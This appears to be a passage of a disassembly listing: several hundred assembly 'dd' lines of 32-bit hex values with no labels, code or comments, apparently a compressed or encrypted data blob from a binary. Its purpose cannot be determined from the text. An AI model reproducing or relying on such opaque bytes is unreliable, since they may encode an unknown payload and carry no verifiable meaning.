		dd 2094923Ah, 2F027F82h, 0F67ACD04h, 72C02EEDh,	16AC35Ah
		dd 29E8D6BFh, 4872B735h, 0AC0141C0h, 6F6A7B17h,	7ADCD560h
		dd 6EF21566h, 0DE00F473h, 0F54AE30Bh, 0A0097CFh, 928B5D17h
		dd 0EBA0946h, 0ED37B564h, 13ECF4C7h, 390078C3h,	2C08DF60h
		dd 0EDC89Ch, 90254CB2h,	1603CBD3h, 915670F3h, 4BD4C200h
		dd 0A2656AB6h, 0F7570080h, 8F1BE605h, 0F800E187h, 0E8E23BF1h
		dd 6165074h, 174486C2h,	0DC0508CEh, 8EA3688Ch, 9DEC8281h
		dd 3DF54D0h, 96612336h,	0D0E13F8Ah, 0D399F087h,	60228B03h
		dd 0C12381D9h, 55D1D6ACh, 6232108Fh, 617E3763h,	8F649FE0h
		dd 38E7B500h, 209CE850h, 8CA400ADh, 8DC76B3Eh, 0A37C6522h
		dd 0D3693007h, 83833D87h, 0F30A6B8h, 97AB32B9h,	0A480380Eh
		dd 0D55427FBh, 7C6F8301h, 0F96C91D3h, 47A6444h,	0E60EC3EFh
		dd 2E100687h, 192BC996h, 0D6095800h, 8710DA31h,	2F2107BDh
		dd 0B3A5CD0Ah, 0CF904E85h, 2C606B49h, 33973731h, 9BAE03E1h
		dd 83964892h, 21320830h, 0E339CD6h, 0AA496C3Bh,	6520F5CFh
		dd 187C8DAFh, 0D30032EAh, 50AEE4F0h, 3A9564h, 0B95679C0h
		dd 0F6E6D478h, 0A8B57401h, 0FA75D92Bh, 0A540C18Ch, 30C0AB36h
		dd 64EA0477h, 174E0680h, 298672D9h, 89215130h, 804284h
		dd 70584ECFh, 0F0D0D49Ch, 5CA2310Ch, 3C9E8F9h, 9316D2D9h
		dd 410077DEh, 5802F2A4h, 19638330h, 8EAC9F5h, 8D2180BCh
		dd 0BB802FAh, 79BE03C5h, 0F3CCB2B1h, 70455006h,	85E02031h
		dd 60A5C42Ch, 31E48Eh, 6023580Ch, 6728B16h, 0DAE4DD54h
		dd 0CCA15D00h, 26CD5C9Ch, 0F37DB8h, 3009E53Fh, 819EC1D7h
		dd 0B358EB61h, 3982A8AAh, 0FFDF924h, 6E0F0452h,	0C1EA3658h
		dd 4F2B576Dh, 0D6B853h,	36418321h, 9D7C036Eh, 70140A7Ah
		dd 0CA0C73Dh, 29D2A1B3h, 308B49A7h, 0C62D9900h,	0B4FF6F50h
		dd 0FC8F1D00h, 9C7BC939h, 0BC406260h, 0E0E4C03Eh, 593F8B11h
		dd 6DEF708h, 984A3140h,	0A449296h, 9C16D159h, 2F5C0A4h
		dd 0FB46305Fh, 8A00A222h, 32E102FDh, 35FC022h, 3844A3BAh
		dd 0C03ADBE9h, 0A1CF2051h, 0A918436Ch, 0AEE33304h, 3A32954Bh
		dd 3390E027h, 30DEC093h, 0B371B075h, 88A8C1ADh,	0E53405C7h
		dd 680668CCh, 0A412E1Ch, 0C75840A0h, 48F0384h, 1DE0B192h
		dd 0B490C462h, 1F40D815h, 0A36C1E94h, 0CA3D38B3h, 0AC744063h
		dd 4A942408h, 0D8143E80h, 4305EC2Eh, 1AB6CB1h, 49384D98h
		dd 0D0402129h, 5E10D89Bh, 0D23716C3h, 0CB350390h, 13E4A00Eh
		dd 2C910644h, 88E95130h, 339430E6h, 93AEE208h, 40356492h
		dd 67339DEDh, 0E2FB1C4Ah, 0EC987E54h, 30DEF94Ch, 925D4607h
		dd 50437EB3h, 19390E3Bh, 6F209A42h, 0B8EF7B32h,	7054750Fh
		dd 1E08E59h, 1CDD400Eh,	0AE444987h, 0C4FAF0h, 0CBF80FC0h
		dd 31035967h, 41205A61h, 0E9D012CAh, 0E554041Eh, 0A430D025h
		dd 0AD40C058h, 51B260DEh, 13F7922Fh, 760297F6h,	0A4511216h
		dd 4CD8A096h, 20BBEBh, 0D0F9FBF0h, 28F8526Eh, 3D0423F0h
		dd 0D3055596h, 8C8E2094h, 12C03088h, 30D2551Bh,	0C6192251h
		dd 140035FDh, 0ED396EF5h, 171B5Eh, 0F22CF6DCh, 9663CAD8h
		dd 9C6C354Ch, 0B080F0C6h, 145009D8h, 4020DA06h,	2DF8D15Fh
		dd 85A73800h, 0C3308A8Ch, 9282072Bh, 0D264F7A8h, 908022EDh
		dd 8168B291h, 4977B492h, 0D06D9624h, 0F3C09E9Ch, 0E2A9DEFDh
		dd 5108C6FFh, 9300813Dh, 0B93EF0D1h, 399149h, 844C2C55h
		dd 4089636Fh, 4E95F103h, 0D1622B30h, 7E31E643h,	0E1A6B010h
		dd 0D94016Ch, 79C3CBF0h, 8E089888h, 0F9B921h, 83B5FC6Ch
		dd 3D0DA809h, 50448259h, 9444AC04h, 259F0984h, 6CB0FBF9h
		dd 0E8763666h, 67A87D21h, 87369081h, 0B001DD38h, 572B4CDh
		dd 0C8F63D4Dh, 40FB7524h, 0A348B316h, 86781ECh,	9C4026DDh
		dd 309AE734h, 9708F956h, 4E7F599h, 0FB5C0820h, 597F0058h
		dd 270D0205h, 0C7600EEDh, 56BC1051h, 0EC011FD9h, 5F2CC042h
		dd 0BDFE7FBh, 8864B858h, 49908927h, 34600D00h, 5DFEACD3h
		dd 0F1659C07h, 4A9BADBh, 80645644h, 83AEFC54h, 0D7C0D0B1h
		dd 0E67B339Fh, 763400CCh, 88A3E4B2h, 0F154A4D5h, 0AF008AC4h
		dd 3C35C43h, 108C0A39h,	32E8B9CDh, 679050A4h, 80514F18h
		dd 0D6ADB258h, 24887308h, 60606E46h, 0CD677C34h, 0A1567100h
		dd 0C0E53392h, 21DC6005h, 24CB1AC1h, 0D5F0B500h, 0D64E90F7h
		dd 0C8650EC9h, 49296497h, 0D9085C27h, 0CFA1D090h, 62A9D988h
		dd 437420F4h, 0E830C611h, 788A8A44h, 0B9EC6360h, 1391900h
		dd 56C4903Fh, 0EF7000Bh, 0C8F6F827h, 9C1F4AAAh,	24382E38h
		dd 0D0150BEh, 8E8010CDh, 8C40A074h, 0E633A80Eh,	343876AEh
		dd 1917DE1h, 0ACB32B1Ah, 40C7A23Dh, 961F08BCh, 8304324Ch
		dd 0CCC858AEh, 0A400F709h, 5231FD67h, 4893282Eh, 0D3BCB98Fh
		dd 5985F404h, 12903016h, 60ECE153h, 480C2C7Eh, 38F2BCA2h
		dd 410A0020h, 436C8F8Dh, 0E091A7FCh, 0AA84EF9Eh, 8362E00Dh
		dd 6CE7B720h, 22BD5C1Bh, 20ECB413h, 0F47D7CBCh,	1144201h
		dd 9B7547C3h, 90F0E00Ch, 0DE51EA00h, 63F4EFE4h,	24EE1C30h
		dd 7047815Eh, 74D79D26h, 58C91ACh, 306602E8h, 308CE93h
		dd 0BA02F08Bh, 3B42E8A7h, 2FC0028Ah, 0D73E05ACh, 97F6AC81h
		dd 0CD72E08Dh, 3F2E7092h, 46743C61h, 75AA1FA1h,	0B456C580h
		dd 0C1F35958h, 0E21DF9E1h, 0AC6086D1h, 46C89D01h, 2FE019Fh
		dd 60E3305Ch, 89A01028h, 0D0003E6h, 0B8F68067h,	1322243Eh
		dd 8B1F808h, 5AC1E784h,	5DD8F436h, 0D2448657h, 3643038Dh
		dd 0B60ADE11h, 898614Ch, 2BBA050h, 0D22A3571h, 0C24C90A4h
		dd 0A448CBA8h, 732ED927h, 8A4E2C83h, 0FF40649Eh, 21304102h
		dd 0A09163EBh, 3E78400h, 37284295h, 654BF7F0h, 1DF62CF0h
		dd 0C2E921FCh, 0A3B2449Ch, 0A72A7C52h, 803A488h, 942E754Fh
		dd 319FF827h, 4AA53E16h, 0C11E4C9h, 2F5112B0h, 13E37440h
		dd 24BB169Eh, 3DF0D9D2h, 0EA8F506h, 1A7061DEh, 1CB00300h
		dd 5C3AC929h, 5E700483h, 0D2E39985h, 1851AC78h,	0C0183479h
		dd 9A7FB917h, 0B09C4E00h, 485CB231h, 5E06B4AFh,	313CCA96h
		dd 91D80E30h, 12A20A8h,	0B5794625h, 0D863D0A0h,	564CE939h
		dd 449F0970h, 7FA04850h, 0A779Eh, 78E05A3Bh, 0E61479C4h
		dd 13DCA258h, 8020D8B3h, 0B24E94h, 7F0A2FC6h, 0E154A052h
		dd 0D45FFF2Ch, 60A7F108h, 0DA96CE6h, 0F4A640B8h, 1B08544h
		dd 0A9986CFEh, 74B8AA99h, 38757F24h, 3501B494h,	0BCB0B1A2h
		dd 49F924F0h, 5B8350FEh, 65B2E936h, 8010D131h, 0D23A3640h
		dd 0AC272632h, 4D2C08h,	68A674FBh, 10DCA588h, 8424510Ah
		dd 0CD39E80h, 0BFECAA1h, 266D14BDh, 0E023A093h,	6CE200FDh
		dd 0CBF80D95h, 0B49A4486h, 5F6CFA09h, 1685D532h, 9205814Bh
		dd 6832EDh, 0ACC40751h,	391CCF9h, 588D643Ch, 0B0FC6138h
		dd 0DA44D894h, 3E53012Eh
		dd 2D1DC271h, 3FB8283Fh, 59201242h, 92C95880h, 81956063h
		dd 6FA0B396h, 0B610F460h, 284A3E59h, 30B49E2Ch,	50298FA6h
		dd 6A761255h, 48420502h, 800EBF90h, 3C2D723Ch, 8FD02824h
		dd 5836399Ah, 92CF602h,	9CA02051h, 0F498DD34h, 309288ECh
		dd 114AA4A1h, 0C8E2F6E4h, 0C089A49Ch, 5171A179h, 0F11276BAh
		dd 0AB008DE4h, 4A59F9D4h, 0B996F8D7h, 16086C88h, 9D461898h
		dd 5A02F402h, 0BB31F330h, 2FCB710h, 7D36C403h, 0BFECAEh
		dd 46C3F219h, 0DA098D9Fh, 0D6D50A0Eh, 8442961Ch, 68FA3D0Ch
		dd 312FA7F0h, 0D939B5ECh, 83EBD821h, 7E5A1F00h,	5E182B07h
		dd 9F8E090Bh, 0AC103197h, 0A4AAC40Eh, 9CC2DA40h, 9A073700h
		dd 4909325Eh, 890428BAh, 175B4CC8h, 650E12Ch, 39DBAFB3h
		dd 4406D92Eh, 0ECA2B140h, 0C930CEF1h, 0BCE88434h, 1209E68Ch
		dd 8879A269h, 24EE54C8h, 0CAF33800h, 2DC39B1Eh,	0B2A701E9h
		dd 0E0203ECEh, 0E060DAC2h, 0B95D0864h, 0E01F2E04h, 12324674h
		dd 0E7005F95h, 0B79A0F36h, 58D6627Dh, 0C9023585h, 49386114h
		dd 8B748040h, 0A5B38020h, 71428CA6h, 50A44C7Ch,	0D5385B81h
		dd 5048A93Eh, 75D4C580h, 184F0A08h, 1958CB96h, 0DB004CF7h
		dd 43DE34E7h, 53D75C8h,	2CD68D36h, 0C04C9B28h, 7C5CD0E6h
		dd 0BEAF01FEh, 0EE354E1h, 0F4A180D3h, 0E77672B6h, 0D5C400E5h
		dd 595BC12Fh, 1F013E62h, 0BDEBBC4Eh, 7C732C5Fh,	0BE078E48h
		dd 0C17A8B8Dh, 63FB4907h, 0AC4788A8h, 17E029FAh, 4C2020A7h
		dd 46E6EA04h, 903C59h, 0A70E81E3h, 4D97FF5Ah, 9618EC55h
		dd 584449C4h, 0B8454D4Fh, 7C89E159h, 3047FC02h,	0EF113395h
		dd 3F88ABAEh, 33C0EC9Eh, 0D299074Bh, 5A5839F4h,	31E559E0h
		dd 0F74A48A2h, 0E4093812h, 0CFCC6DCFh, 309479E0h, 41E0672Ch
		dd 0F44C2892h, 6B661324h, 0FAD9890h, 0DBA3042Bh, 0D2B836AAh
		dd 386CE450h, 8E7E0B13h, 8CE74498h, 976CFC04h, 8062880Dh
		dd 9F34623h, 1365F220h,	0D9527C99h, 0C8F761AEh,	10006D59h
		dd 430207F7h, 4AAFAA21h, 0AEFC2208h, 8CA5CFE3h,	4825505Ch
		dd 63D811B3h, 0F082E829h, 5602B478h, 3007250h, 0C568E51Bh
		dd 6690E279h, 190F3803h, 6C363ADBh, 2A4E031h, 8067BA1Dh
		dd 0C084444Eh, 364161F4h, 0ACB50020h, 8EEA44C0h, 42365600h
		dd 887DE987h, 284F0B89h, 0F048A402h, 98008DA5h,	9E6B03ACh
		dd 1DE6545h, 0F215FDFh,	389408DAh, 436C0BCCh, 0E3B431F0h
		dd 0FC0C2EE8h, 0B38085CAh, 5E96CFBh, 800C1E81h,	0FE0D87A9h
		dd 0D8B6928Ch, 4558E060h, 0EE31F462h, 79A85915h, 2E5183Bh
		dd 5CD84FF7h, 0AC444C27h, 98CD8B24h, 612244Ah, 10AE8888h
		dd 19ADD850h, 4419318Bh, 0CF238829h, 0F4317B13h, 9E008ECCh
		dd 3161C997h, 8AA7F739h, 0F81A7980h, 0DD2EFE81h, 3A2C5200h
		dd 56952915h, 0D4F649FBh, 30E27442h, 13FAA830h,	93F17EEh
		dd 9865AD74h, 65A1E4h, 3FF8B7B6h, 402FC63Dh, 56D404E4h
		dd 20DD88C2h, 0DE986DF2h, 49744600h, 2107E4CEh,	52AB0ED8h
		dd 960A87Fh, 0C2C6D3Fh,	44CB4801h, 0D32B1138h, 0EBB81029h
		dd 0E5F5008Ch, 9345EDC2h, 750014B2h, 643E6699h,	58567421h
		dd 337D8E1Fh, 0B339CCA1h, 432ED0A7h, 9C9C8740h,	56350C60h
		dd 7A0927Bh, 0D9425BB0h, 0B1BBD569h, 7F402DACh,	0A7C59A07h
		dd 3971DA04h, 0F0203ECAh, 0F8F11D6Eh, 67A6BC74h, 63DE81BCh
		dd 845BE7B5h, 99FC3C0h,	300810CCh, 0E81F21Fh, 4518683Fh
		dd 0C8692270h, 0F5330E56h, 4D822082h, 7C63DDFAh, 0ABA90998h
		dd 0CBFC4F00h, 5BE671A2h, 578700C4h, 0DD10DA72h, 75380F0Ch
		dd 7E00F4A5h, 7850C751h, 39C42104h, 0E6F89C7Ch,	9F7CD6h
		dd 42841BC8h, 0EA309845h, 726F8700h, 109AF3C2h,	0B87A73EEh
		dd 3C6EE2ACh, 0A480890Fh, 678E5F0Ch, 0E6009633h, 43F501ACh
		dd 908CA8A1h, 58A7127Ch, 5B280142h, 269016D1h, 2E91F40h
		dd 0C49B3008h, 0F18E44BEh, 0D4735081h, 194D3698h, 7834AA49h
		dd 10C760B6h, 64E0DC35h, 140B242Ch, 70D0B750h, 0A4E9D43Dh
		dd 0B1584018h, 28CDF918h, 2CF06DF5h, 808AF66h, 0E560A7FAh
		dd 210DA86Ch, 9F91CAD0h, 6CFDB500h, 0B63582AFh,	0BE1FDF01h
		dd 0CD96B0B4h, 0F8485472h, 50A94C10h, 0C5DDAB0h, 0C62000F8h
		dd 0F22CF7D7h, 0CB7FE2CDh, 6C480E88h, 1A00B538h, 728CD316h
		dd 0F6B72D71h, 9B5C02EBh, 0EC41CB0Eh, 81D78490h, 9473350Bh
		dd 9D9C9249h, 83D211A0h, 0A59651EAh, 5C1A50F4h,	2E4E9C21h
		dd 0BC237Ch, 26CA76BFh,	0A048B264h, 2934CFB8h, 7940512Dh
		dd 5BD18D3h, 0A250C58h,	2C980272h, 0B0A4DC43h, 0E258E26Ch
		dd 0F30F309Ch, 0D6342C00h, 21F658D8h, 0A466130Ah, 58601868h
		dd 90B93D59h, 6660D4D3h, 0DC00024Fh, 0E4005BBh,	9E5958FBh
		dd 0D0D1975Ch, 0EDFD018Ch, 4A8D4B00h, 615BD07h,	0C5F9C0C0h
		dd 3AF27C98h, 6342249Ah, 25CB8B0Ah, 740CA6F8h, 0B10F3546h
		dd 52E0240Ah, 30593CB9h, 4540DC9Ch, 80CD6118h, 14910EE9h
		dd 0FC4A6800h, 0C30D1D3h, 40731150h, 8C004C5Ah,	703ADD28h
		dd 162CE7F6h, 18583023h, 0E866F172h, 1E0164B1h,	5A3D087Ch
		dd 4C34FC31h, 5E80B491h, 2D02BC46h, 188AB3Eh, 0B700A0F9h
		dd 0FCC6C1ECh, 4F64002Ch, 8423D3CAh, 2095A5E7h,	3EB890C4h
		dd 12524AC9h, 23003A08h, 750129Dh, 15DE05h, 0F23AC7A5h
		dd 0F0A4E404h, 2080A83Ch, 13B143Fh, 0A2E98A7Dh,	0EB8DE340h
		dd 40796CE2h, 7198271h,	70E969E6h, 0F14220Eh, 81EEA151h
		dd 1274FBD2h, 0FC58F02Dh, 1C8CD0E8h, 0A677502Dh, 0F77D4064h
		dd 492541C8h, 0EB900185h, 0C450B4D1h, 0EE7BA1h,	9DFE7FAAh
		dd 0F6E0B6CCh, 93129801h, 0ABB24F03h, 47049C7Dh, 73AFD08h
		dd 200BA20Eh, 0CD33CE10h, 9C81E6E9h, 0E3449204h, 22847814h
		dd 2E122130h, 0F0ECF3h,	0A0E94CE1h, 703113C0h, 0B10043ACh
		dd 2AFF74FAh, 40E212Ch,	0CB6DD377h, 0C1C08437h,	0CD011Ch
		dd 6414A23Fh, 0B2249094h, 30D0E258h, 9C05B7AAh,	8D582741h
		dd 40335808h, 0A0CC50AEh, 38E34C80h, 5167A1Eh, 8400802Ah
		dd 0B899F51Dh, 0D718BBD1h, 83939201h, 633E1D8Dh, 4D0C9034h
		dd 0EDB88C6Fh, 29683D02h, 0F013606Dh, 2EFA4628h, 263BB85Fh
		dd 0D4C4D845h, 36A08C4Fh, 0D5ADF3Bh, 93C37538h,	48B795Dh
		dd 0F5C3D5C8h, 0AAEBE0ABh, 0A06502CDh, 0A8954B96h, 58B480A0h
		dd 4969A341h, 11049D10h, 66C78082h, 0B64C4A3Eh,	0C82F17C4h
		dd 1B03DDF4h, 0FC3F353Ah, 0CFC588E6h, 0EC0FCE7h, 0EA5BF532h
		dd 0C80DDFE4h, 0A331B3E8h, 542EC1CDh, 2B5E3033h, 3A9C239Ch
		dd 0F0B87500h, 1374C2E6h, 0A8245A4Eh, 10C1A0DAh, 2A5049FFh
		dd 0F1372C40h, 4E1AFDh,	771804F5h, 0A8F0AB6Bh, 0B4D239h
		dd 3628FADBh, 9992C3A6h, 18A2D1D0h, 4EF90209h, 508E39E5h
		dd 253590E0h, 0F9FF788h, 0E8529E58h, 825BC15h, 3597944Ch
		dd 0C3821F40h, 0C0F4B5B3h, 6218C185h, 98492AC5h, 0C448C56Fh
		dd 0F0C86383h, 30D92F07h, 41E14975h, 0F92C8705h, 0F14C843h
		dd 0D9401C0Ch, 0D0CCFC89h, 1E1D1670h, 593CD3C4h, 90C37EDAh
		dd 669F8EF8h, 9C0EE2E0h, 255ADE8Dh, 0E88E3354h,	0C93488h
		dd 8F38FFB9h, 1331774Fh, 0D07008E8h, 0A4E366F8h, 830CA5Ah
		dd 1532FF6h, 0AFCDEA1Bh, 0BEDF0A05h, 2C2C3BA8h,	0C6B82048h
		dd 4365C16h, 0F2574DE4h, 458F801Ch, 753D36h, 43E8BEEEh
		dd 0C75870E5h, 0F84E4DF2h
		dd 80CCB8D1h, 0EDF94703h, 4A1984C5h, 22029E44h,	4C4AD0Ch
		dd 3E4404A7h, 287B6B60h, 1C0C4AF8h, 51A7D12Fh, 399BF207h
		dd 3200E4C2h, 0A075E848h, 0FC017CFDh, 0C60AC8Dh, 0ECF359C9h
		dd 4ED30CB8h, 0ECD410E0h, 0C61DA902h, 445E807Ah, 493F808h
		dd 0A216E471h, 30D6F2C0h, 8C0FEFC8h, 0D7A5E53Dh, 0B8A8B884h
		dd 38C80BCh, 15D0B1E9h,	40BCDA5Ah, 0E84CF244h, 0D7A11C26h
		dd 919F00F0h, 8ACBAA2h,	68A6F427h, 14453E24h, 0CCCFF170h
		dd 0F400E30h, 28B4F9CDh, 8656611Fh, 7024AE09h, 162E782Ch
		dd 1039411Dh, 2F1094E0h, 34561ED6h, 0BB69ED00h,	18879E21h
		dd 487EC63Dh, 8D4E03ACh, 348834CEh, 0B84916C3h,	0E8D2CDFh
		dd 0B2B05A93h, 0E02A8FCBh, 0D4465E5Ch, 7880AA3Dh, 84939F38h
		dd 5CA15235h, 0F2806224h, 0B47B30D1h, 1F3BC316h, 0FA9C88h
		dd 94880350h, 4909CDD4h, 20EF801h, 8A2AED1h, 682DA6C1h
		dd 980078E8h, 586174FCh, 92F1A8Fh, 0DCAE358Ch, 0B4CEEC07h
		dd 598CE094h, 0CFC8C30Eh, 63DF698Bh, 0D0201024h, 44122E92h
		dd 3BE4674h, 0CC3A792Fh, 0F894BC1Dh, 86019481h,	0C50DC707h
		dd 1C78C221h, 40B6F04Ch, 47091CD4h, 0F7B1895Ch,	1A02648Eh
		dd 0F470E046h, 0E9919030h, 3008A611h, 0FA107758h, 3CA7201Ch
		dd 0E8603164h, 8B27C10Bh, 50F410CAh, 0C307E3B4h, 190E28C4h
		dd 9A814F58h, 4046E8h, 27A51993h, 0F59DE910h, 613DB800h
		dd 59CF3C6Eh, 0A12C01AAh, 0FE1D0CB1h, 60DC40C3h, 0BE418C40h
		dd 2F5AE822h, 1C8123ACh, 0C0295C60h, 0DA35AB84h, 0BC275669h
		dd 0BCC81721h, 0C7531FC6h, 9428E7C0h, 0FCF14972h, 2EC12808h
		dd 0D4325F0h, 0BB001C37h, 89370E1Ch, 3FA1067Ah,	0A08D63F3h
		dd 9ABCF44h, 472B5575h,	42A43881h, 71E98421h, 44CC40CDh
		dd 0C307F50Eh, 41045EF7h, 373972F2h, 3BBC94ECh,	16E6048Ch
		dd 0D0A29043h, 0C18E25F8h, 0DAF7D4A1h, 0B2C73C6Dh, 68708A17h
		dd 14358754h, 0CC0B91A2h, 37742E00h, 0ADCEB4D9h, 685B2C17h
		dd 50594080h, 0ACCD8825h, 4C072275h, 329E795Ah,	8F78ED27h
		dd 0BE09454h, 0B340DBD0h, 652510BEh, 6081E480h,	28B9FF4h
		dd 306F34ECh, 0B86B98A2h, 0E89D7E24h, 465CACC8h, 0EA7C0035h
		dd 0B70F1B19h, 52557230h, 879F8C2h, 5A63CD08h, 1DDC0C2Eh
		dd 42D78717h, 0CA21ABDh, 945ED4CAh, 0EA465Ch, 0DF99B273h
		dd 0F804383Bh, 277C9042h, 6C3831A5h, 17956C99h,	808E1134h
		dd 5409523h, 2C0C734Fh,	198659Ah, 38C9368Fh, 0F8082FBBh
		dd 4CD7833Ch, 40F0D8F5h, 95F60759h, 6B55E000h, 4329AD1Bh
		dd 0C02097B6h, 7F58F956h, 48D25F4Fh, 80C85CE8h,	792C396h
		dd 6F3D724Ch, 64C8DAB2h, 0CF192075h, 0DC514317h, 0E9A7D449h
		dd 3F20A8A8h, 48D4ABFh,	12DA3D80h, 8E23543Ah, 0ACB47600h
		dd 58979515h, 5885FC31h, 3874C946h, 3E1B8040h, 607C02EBh
		dd 76E1B814h, 7E03FA8Ah, 43821753h, 7120F066h, 2405972Fh
		dd 0F8F8AC41h, 2C008C32h, 28910A81h, 122B4ACCh,	0F12F7924h
		dd 0E925E4E8h, 0B0A43244h, 0FAB01324h, 5DDC20A7h, 2F1639C8h
		dd 10F0BC0Ah, 313040CDh, 6EACA251h, 98181C76h, 220C8ADBh
		dd 0E88A418h, 260D081Fh, 589C0227h, 8CFC33C7h, 9899AEA0h
		dd 57865D81h, 406AEC02h, 0E19E4B34h, 2FE26234h,	0CFFCE500h
		dd 0FBEBDF0Ah, 879B00C2h, 99B9E119h, 97601CAAh,	0FD610A80h
		dd 71DD09DBh, 9CF0123Dh, 0C45E8B2Dh, 2ED25E7Ch,	38A523FCh
		dd 0C4844E00h, 0F921B978h, 0C60B3BEEh, 0C1AECC08h, 4F2F50ACh
		dd 90A07100h, 8F51F509h, 6F65A801h, 3E89A301h, 494723Fh
		dd 0F601A464h, 0ED66C36Ah, 0FC4A496h, 54085FDEh, 0E159020h
		dd 9D1DE042h, 96F14045h, 0EBCBE00Bh, 0D3C85000h, 0AAB25C98h
		dd 0D929C327h, 0C2E0B723h, 9601EECEh, 588C568Ah, 282C4E43h
		dd 9FEF0F00h, 33575AC2h, 362453Ah, 0A095322Ch, 787ADBF1h
		dd 779D078Ch, 4A996393h, 40023A94h, 898604ABh, 0D0A03049h
		dd 0DC98F7D6h, 0B726F07h, 5089442Bh, 82F11D18h,	0B7D1012Ch
		dd 80E7BAEDh, 66E3D911h, 771B96ACh, 480F162Bh, 0F01CC7A1h
		dd 0FEE158A9h, 2434AA2Ch, 51397D02h, 43A0811Dh,	0C02305A3h
		dd 0C2FE8101h, 0E8926AC4h, 150057C0h, 97F19F42h, 4CB3B5C3h
		dd 4E80B0ACh, 0B4FF11F6h, 4303742Eh, 4D491830h,	0D20D096Ah
		dd 2840FAF4h, 76741B8Bh, 0A4B3A917h, 0A0B720D2h, 78F2AD4h
		dd 7E0606AEh, 0C8723728h, 0F64C7101h, 97651D20h, 0B402BC40h
		dd 0BEAE0339h, 0D8F832FEh, 0A1445914h, 0F4A705A4h, 3001D9B3h
		dd 0EF8CB1CAh, 12002828h, 75D13C95h, 0E948BA2Eh, 0C4F42510h
		dd 43794014h, 0F57C5C00h, 9DCAD66Bh, 0A89022h, 6D076052h
		dd 3DDF355Bh, 0DA82E3Bh, 287CAAA3h, 23CFFC0h, 7A22996Dh
		dd 0D140CC32h, 0DB02256Bh, 0FEC894A5h, 0B753C054h, 7DCA00D5h
		dd 0AF011D86h, 0F200B479h, 3AE65F33h, 193C18h, 6AE9F5CAh
		dd 0BCB39A1Ah, 9603AA76h, 3BAB9427h, 919982Dh, 0CF8EED5h
		dd 9AC1CD47h, 1E0EE688h, 0E08F9B87h, 892B5029h,	1D1F006Ch
		dd 41CCE17Ah, 0AD0059D6h, 0BBE884Bh, 30ACBDAAh,	0FC41C5CDh
		dd 0E38CC5Eh, 0B0770028h, 3B5D5CA5h, 3D305CA6h,	33810D00h
		dd 6E1190B6h, 647C99E8h, 0D4A3BF3Ch, 0B858B484h, 5E560034h
		dd 805DDF54h, 99A43052h, 0B80A1040h, 813571F9h,	18E5AA31h
		dd 0B6E09DCBh, 90960041h, 99D3F5EEh, 0BF60A3B4h, 58DC7729h
		dd 9B8C1F79h, 7B0D0C34h, 0E500D918h, 29E47514h,	0E2B708DBh
		dd 189C00CCh, 0D5366F7Fh, 0F900B58Dh, 0B6DD3BB4h, 0E3E46h
		dd 0CA394B54h, 0DC04155h, 0DB3F10C4h, 0B3DECD60h, 0C8886A73h
		dd 0BDB118C9h, 0E061403Fh, 4F4162Bh, 17C21406h,	2E060610h
		dd 21E219D9h, 34009098h, 68327340h, 74D37C7Dh, 218A6069h
		dd 8434C327h, 8D0185E0h, 2EE15FFEh, 244A0781h, 40CB88C8h
		dd 14428E0Eh, 500A0672h, 0C6E19703h, 10A67B9Dh,	6CC8410Fh
		dd 6A3EA0CDh, 0CC3DFC08h, 0A1210908h, 716D3101h, 8927B921h
		dd 0E6486F20h, 4F6E027Eh, 0B630611Fh, 49548090h, 72CEA101h
		dd 7509DDBDh, 21190998h, 0A200B1B4h, 993CBBEEh,	63FBF306h
		dd 1493B9F6h, 1DAA4900h, 0A43956BBh, 0A4201F5h,	5EBC9B63h
		dd 0C7C091FDh, 0C26CC383h, 0B3136AAh, 6CCCBC10h, 0F1775007h
		dd 73158E9Fh, 0F9148806h, 12371279h, 0B0650009h, 571A486Ch
		dd 0BC793C28h, 0CE01C546h, 0D2734434h, 88890C69h, 3400C73Bh
		dd 872E598Eh, 6A66F83h,	0D5787EB5h, 360ED8F5h, 9744EEF3h
		dd 371C3A00h, 65F015h, 0FB097263h, 9848F434h, 76842D54h
		dd 5AC158h, 0FC5D119Eh,	0E858C997h, 0D321C00Bh,	0EF443ADEh
		dd 0F800E390h, 0A86F93A5h, 0E3FCF095h, 0AE579981h, 81FB6692h
		dd 97012410h, 81C8E694h, 629C0CE5h, 0DBA8F6A6h,	5492AF88h
		dd 5FA072h, 7338204Eh, 52B0DBB4h, 0C5D54919h, 0D9166BB8h
		dd 4297BE00h, 0E3B738BAh, 0B094369Ch, 5646D851h, 0C63AC302h
		dd 0EE1CA19Eh, 0F33A00D8h, 0F222EBB4h, 9E0FB6BFh, 174A6E5h
		dd 0AE8911FCh, 7C81A180h, 25CB8CBDh, 0E2146203h, 0D9C47B0Ah
		dd 51801B99h, 8E5D567Fh, 0EF00F249h, 51744EF5h,	4CE254Bh
		dd 669B1C9Ch, 0FB0C88BDh, 732F388h, 0BE27CF4Fh,	2E7EC322h
		dd 96F51812h, 0FA2CA820h, 0F3740DAAh, 42213EF8h, 8132C6FCh
		dd 0FA7347C8h, 8D221C26h, 34DC2E01h, 0F1ACF698h, 808C59A8h
		dd 0AB95F544h, 0F971E3A4h
		dd 7F309035h, 0E6BF31A8h, 22069D19h, 72150078h,	87A656B5h
		dd 69A0C829h, 382C3208h, 317B1101h, 800996F6h, 0F2E72A41h
		dd 60141505h, 0AD3179F5h, 3200E826h, 0C52A99FFh, 3625F44h
		dd 0F3D9EB7Fh, 5212088Ah, 4453365h, 44027411h, 0A0086F7Eh
		dd 0F52BAEC0h, 210490BAh, 0CC8399B1h, 929EC93Ah, 10051958h
		dd 0F3AC5D6h, 6A028E16h, 32F5A101h, 0D002001h, 4F58208Ah
		dd 348BF2h, 3E73D257h, 0CF8D4E71h, 51079430h, 3E639C6Ch
		dd 0E900E8F2h, 0B3EAB7E1h, 4D03C346h, 2AA0B94Fh, 15A3E05Dh
		dd 417C039Bh, 2997F7Dh,	6D00417Eh, 2264E71Dh, 71CB840Fh
		dd 5EB87A0Eh, 0F88FA1F4h, 0A6580407h, 560B7641h, 20FFF8F0h
		dd 7E9BA408h, 34C89AADh, 0C0B9F314h, 0CE86837Fh, 4984B00h
		dd 20BD7728h, 7F240552h, 0B9D2F8h, 2A36A5F8h, 41F69EFCh
		dd 0BF319C0Ah, 6580E01Ah, 0CC250777h, 3D331CC4h, 0FCB40068h
		dd 118A7031h, 8EF58507h, 534EF372h, 121B828h, 42EA64B2h
		dd 60B02607h, 0FC097E31h, 42369DAh, 2C450A4Ch, 886C8E47h
		dd 5E0CF84h, 8E19D642h,	0FA22AF1Ch, 611E72C1h, 2063B5CAh
		dd 0C0A1430Fh, 0CA70ADA8h, 4CA10556h, 5F707E31h, 2BA30EACh
